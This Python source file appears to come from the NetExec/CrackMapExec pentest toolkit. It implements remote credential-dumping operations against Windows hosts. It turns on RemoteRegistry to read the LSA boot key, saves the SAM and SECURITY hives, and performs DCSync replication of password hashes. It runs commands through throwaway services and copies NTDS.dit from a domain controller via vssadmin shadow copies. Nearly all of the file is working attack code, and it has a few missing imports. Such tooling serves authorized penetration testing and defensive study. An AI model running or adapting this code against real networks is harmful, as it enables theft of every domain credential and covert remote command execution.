NetExec/cme/remoteoperations.py

import logging
import random
import string
from gevent import sleep
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.dtypes import NULL
from cme.credentials.ntds import NTDSHashes
from binascii import unhexlify, hexlify
from cme.remotefile import RemoteFile

class RemoteOperations:
    def __init__(self, smbConnection, doKerberos):
        self.__smbConnection = smbConnection
        self.__smbConnection.setTimeout(5*60)
        self.__serviceName = 'RemoteRegistry'
        self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
        self.__rrp = None
        self.__regHandle = None

        self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
        self.__samr = None
        self.__domainHandle = None
        self.__domainName = None

        self.__drsr = None
        self.__hDrs = None
        self.__NtdsDsaObjectGuid = None
        self.__ppartialAttrSet = None
        self.__prefixTable = []
        self.__doKerberos = doKerberos

        self.__bootKey = ''
        self.__disabled = False
        self.__shouldStop = False
        self.__started = False

        self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
        self.__scmr = None
        self.__tmpServiceName = None
        self.__serviceDeleted = False

        self.__batchFile = '%TEMP%\\execute.bat'
        self.__shell = '%COMSPEC% /Q /c '
        self.__output = '%SYSTEMROOT%\\Temp\\__output'
        self.__answerTMP = ''

    def __connectSvcCtl(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
        rpc.set_smb_connection(self.__smbConnection)
        self.__scmr = rpc.get_dce_rpc()
        self.__scmr.connect()
        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)

    def __connectWinReg(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
        rpc.set_smb_connection(self.__smbConnection)
        self.__rrp = rpc.get_dce_rpc()
        self.__rrp.connect()
        self.__rrp.bind(rrp.MSRPC_UUID_RRP)

    def connectSamr(self, domain):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
        rpc.set_smb_connection(self.__smbConnection)
        self.__samr = rpc.get_dce_rpc()
        self.__samr.connect()
        self.__samr.bind(samr.MSRPC_UUID_SAMR)
        resp = samr.hSamrConnect(self.__samr)
        serverHandle = resp['ServerHandle']

        resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
        resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
        self.__domainHandle = resp['DomainHandle']
        self.__domainName = domain

    def __connectDrds(self):
        stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
                                     protocol='ncacn_ip_tcp')
        rpc = transport.DCERPCTransportFactory(stringBinding)
        if hasattr(rpc, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpc.set_credentials(*(self.__smbConnection.getCredentials()))
            rpc.set_kerberos(self.__doKerberos)
        self.__drsr = rpc.get_dce_rpc()
        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        if self.__doKerberos:
            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
        self.__drsr.connect()
        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)

        request = drsuapi.DRSBind()
        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
        drs = drsuapi.DRS_EXTENSIONS_INT()
        drs['cb'] = len(drs) #- 4
        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
        drs['SiteObjGuid'] = drsuapi.NULLGUID
        drs['Pid'] = 0
        drs['dwReplEpoch'] = 0
        drs['dwFlagsExt'] = 0
        drs['ConfigObjGUID'] = drsuapi.NULLGUID
        drs['dwExtCaps'] = 127
        request['pextClient']['cb'] = len(drs)
        request['pextClient']['rgb'] = list(str(drs))
        resp = self.__drsr.request(request)
        if logging.getLogger().level == logging.DEBUG:
            logging.debug('DRSBind() answer')
            resp.dump()

        self.__hDrs = resp['phDrs']

        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
        if logging.getLogger().level == logging.DEBUG:
            logging.debug('DRSDomainControllerInfo() answer')
            resp.dump()

        if resp['pmsgOut']['V2']['cItems'] > 0:
            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
        else:
            logging.error("Couldn't get DC info for domain %s" % self.__domainName)
            raise Exception('Fatal, aborting')

    def getDrsr(self):
        return self.__drsr

    def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
        if self.__drsr is None:
            self.__connectDrds()

        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
        return resp

    def DRSGetNCChanges(self, userEntry):
        if self.__drsr is None:
            self.__connectDrds()

        request = drsuapi.DRSGetNCChanges()
        request['hDrs'] = self.__hDrs
        request['dwInVersion'] = 8

        request['pmsgIn']['tag'] = 8
        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid

        dsName = drsuapi.DSNAME()
        dsName['SidLen'] = 0
        dsName['Guid'] = drsuapi.NULLGUID
        dsName['Sid'] = ''
        dsName['NameLen'] = len(userEntry)
        dsName['StringName'] = (userEntry + '\x00')

        dsName['structLen'] = len(dsName.getData())

        request['pmsgIn']['V8']['pNC'] = dsName

        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0

        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL

        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
        request['pmsgIn']['V8']['cMaxObjects'] = 1
        request['pmsgIn']['V8']['cMaxBytes'] = 0
        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
        if self.__ppartialAttrSet is None:
            self.__prefixTable = []
            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
            self.__ppartialAttrSet['dwVersion'] = 1
            self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
            for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL

        return self.__drsr.request(request)

    def getDomainUsers(self, enumerationContext=0):
        if self.__samr is None:
            self.connectSamr(self.getMachineNameAndDomain()[1])

        try:
            resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
                                                    userAccountControl=samr.USER_NORMAL_ACCOUNT | \
                                                                       samr.USER_WORKSTATION_TRUST_ACCOUNT | \
                                                                       samr.USER_SERVER_TRUST_ACCOUNT |\
                                                                       samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
                                                    enumerationContext=enumerationContext)
        except DCERPCException, e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
            resp = e.get_packet()
        return resp

    def ridToSid(self, rid):
        if self.__samr is None:
            self.connectSamr(self.getMachineNameAndDomain()[1])
        resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
        return resp['Sid']


    def getMachineNameAndDomain(self):
        if self.__smbConnection.getServerName() == '':
            # No serverName.. this is either because we're doing Kerberos
            # or not receiving that data during the login process.
            # Let's try getting it through RPC
            rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
            rpc.set_smb_connection(self.__smbConnection)
            dce = rpc.get_dce_rpc()
            dce.connect()
            dce.bind(wkst.MSRPC_UUID_WKST)
            resp = wkst.hNetrWkstaGetInfo(dce, 100)
            dce.disconnect()
            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
        else:
            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()

    def getDefaultLoginAccount(self):
        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
            keyHandle = ans['phkResult']
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
            username = dataValue[:-1]
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
            domain = dataValue[:-1]
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
            if len(domain) > 0:
                return '%s\\%s' % (domain,username)
            else:
                return username
        except:
            return None

    def getServiceAccount(self, serviceName):
        try:
            # Open the service
            ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
            serviceHandle = ans['lpServiceHandle']
            resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
            account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
            scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
            if account.startswith('.\\'):
                account = account[2:]
            return account
        except Exception, e:
            logging.error(e)
            return None

    def __checkServiceStatus(self):
        # Open SC Manager
        ans = scmr.hROpenSCManagerW(self.__scmr)
        self.__scManagerHandle = ans['lpScHandle']
        # Now let's open the service
        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
        self.__serviceHandle = ans['lpServiceHandle']
        # Let's check its status
        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
            logging.info('Service %s is in stopped state'% self.__serviceName)
            self.__shouldStop = True
            self.__started = False
        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
            logging.debug('Service %s is already running'% self.__serviceName)
            self.__shouldStop = False
            self.__started  = True
        else:
            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])

        # Let's check its configuration if service is stopped, maybe it's disabled :s
        if self.__started is False:
            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
            if ans['lpServiceConfig']['dwStartType'] == 0x4:
                logging.info('Service %s is disabled, enabling it'% self.__serviceName)
                self.__disabled = True
                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
            logging.info('Starting service %s' % self.__serviceName)
            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
            sleep(1)

    def enableRegistry(self):
        self.__connectSvcCtl()
        self.__checkServiceStatus()
        self.__connectWinReg()

    def __restore(self):
        # First of all stop the service if it was originally stopped
        if self.__shouldStop is True:
            logging.info('Stopping service %s' % self.__serviceName)
            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
        if self.__disabled is True:
            logging.info('Restoring the disabled state for service %s' % self.__serviceName)
            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
        if self.__serviceDeleted is False:
            # Check again the service we created does not exist, starting a new connection
            # Why?.. Hitting CTRL+C might break the whole existing DCE connection
            try:
                rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
                if hasattr(rpc, 'set_credentials'):
                    # This method exists only for selected protocol sequences.
                    rpc.set_credentials(*self.__smbConnection.getCredentials())
                    rpc.set_kerberos(self.__doKerberos)
                self.__scmr = rpc.get_dce_rpc()
                self.__scmr.connect()
                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
                # Open SC Manager
                ans = scmr.hROpenSCManagerW(self.__scmr)
                self.__scManagerHandle = ans['lpScHandle']
                # Now let's open the service
                resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
                service = resp['lpServiceHandle']
                scmr.hRDeleteService(self.__scmr, service)
                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
                scmr.hRCloseServiceHandle(self.__scmr, service)
                scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
                scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
                rpc.disconnect()
            except Exception, e:
                # If service is stopped it'll trigger an exception
                # If service does not exist it'll trigger an exception
                # So. we just wanna be sure we delete it, no need to 
                # show this exception message
                pass

    def finish(self):
        self.__restore()
        if self.__rrp is not None:
            self.__rrp.disconnect()
        if self.__drsr is not None:
            self.__drsr.disconnect()
        if self.__samr is not None:
            self.__samr.disconnect()
        if self.__scmr is not None:
            self.__scmr.disconnect()

    def getBootKey(self):
        bootKey = ''
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']
        for key in ['JD','Skew1','GBG','Data']:
            logging.debug('Retrieving class info for %s'% key)
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
            keyHandle = ans['phkResult']
            ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
            bootKey = bootKey + ans['lpClassOut'][:-1]
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]

        bootKey = unhexlify(bootKey)

        for i in xrange(len(bootKey)):
            self.__bootKey += bootKey[transforms[i]]

        logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))

        return self.__bootKey

    def checkNoLMHashPolicy(self):
        logging.debug('Checking NoLMHash Policy')
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']

        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
        keyHandle = ans['phkResult']
        try:
            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
        except:
            noLMHash = 0

        if noLMHash != 1:
            logging.debug('LMHashes are being stored')
            return False

        logging.debug('LMHashes are NOT being stored')
        return True

    def __retrieveHive(self, hiveName):
        tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
        ans = rrp.hOpenLocalMachine(self.__rrp)
        regHandle = ans['phKey']
        try:
            ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
        except:
            raise Exception("Can't open %s hive" % hiveName)
        keyHandle = ans['phkResult']
        rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)
        # Now let's open the remote file, so it can be read later
        remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
        return remoteFileName

    def saveSAM(self):
        logging.debug('Saving remote SAM database')
        return self.__retrieveHive('SAM')

    def saveSECURITY(self):
        logging.debug('Saving remote SECURITY database')
        return self.__retrieveHive('SECURITY')

    def __executeRemote(self, data):
        self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
        command += ' & ' + 'del ' + self.__batchFile

        self.__serviceDeleted = False
        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']
        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        self.__serviceDeleted = True
        scmr.hRCloseServiceHandle(self.__scmr, service)
    def __answer(self, data):
        self.__answerTMP += data

    def __getLastVSS(self):
        self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
        sleep(5)
        tries = 0
        while True:
            try:
                self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                break
            except Exception, e:
                if tries > 30:
                    # We give up
                    raise Exception('Too many tries trying to list vss shadows')
                if str(e).find('SHARING') > 0:
                    # Stuff didn't finish yet.. wait more
                    sleep(5)
                    tries +=1
                    pass
                else:
                    raise

        lines = self.__answerTMP.split('\n')
        lastShadow = ''
        lastShadowFor = ''

        # Let's find the last one
        # The string used to search the shadow for drive. Wondering what happens
        # in other languages
        SHADOWFOR = 'Volume: ('

        for line in lines:
           if line.find('GLOBALROOT') > 0:
               lastShadow = line[line.find('\\\\?'):][:-1]
           elif line.find(SHADOWFOR) > 0:
               lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]

        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

        return lastShadow, lastShadowFor

    def saveNTDS(self):
        logging.info('Searching for NTDS.dit')
        # First of all, let's try to read the target NTDS.dit registry entry
        ans = rrp.hOpenLocalMachine(self.__rrp)
        regHandle = ans['phKey']
        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
            keyHandle = ans['phkResult']
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        try:
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
            ntdsLocation = dataValue[:-1]
            ntdsDrive = ntdsLocation[:2]
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)

        logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
        # Get the list of remote shadows
        shadow, shadowFor = self.__getLastVSS()
        if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
            # No shadow, create one
            self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
            shadow, shadowFor = self.__getLastVSS()
            shouldRemove = True
            if shadow == '':
                raise Exception('Could not get a VSS')
        else:
            shouldRemove = False

        # Now copy the ntds.dit to the temp directory
        tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'

        self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))

        if shouldRemove is True:
            self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)

        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

        return remoteFileName